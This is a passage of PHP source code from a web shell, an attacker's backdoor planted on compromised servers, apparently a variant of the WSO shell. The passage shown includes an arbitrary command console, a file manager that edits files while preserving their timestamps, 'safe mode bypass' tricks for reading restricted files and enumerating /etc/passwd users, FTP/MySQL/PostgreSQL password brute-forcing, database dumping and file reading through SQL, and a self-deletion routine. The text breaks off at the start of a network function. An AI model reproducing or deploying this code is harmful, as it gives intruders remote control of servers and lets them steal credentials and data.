'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
TuXHeader();
echo '<h1>String conversions</h1><div class=content>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function TuXRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
TuXRecursiveGlob($item);
} else {
if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
TuXRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";
TuXFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
TuXHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
TuXFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?TuXViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.TuXPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
TuXFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test, 'cx');
if(@copy("compress.zlib://".$_POST['p2'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
}
$temp = ob_get_clean();
TuXHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
echo '</div>';
TuXFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".TuXEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
TuXHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".TuXEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
TuXFooter();
}
function actionLogout() {
session_destroy();
die('');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
TuXHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
TuXFooter();
}
function actionBruteforce() {
TuXHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
TuXFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE TuX2(file text);COPY TuX2 FROM '".addslashes($str)."';select file from TuX2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table TuX2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql = "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
TuXHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
TuXFooter();
}
function actionNetwork() {
TuXHeader();
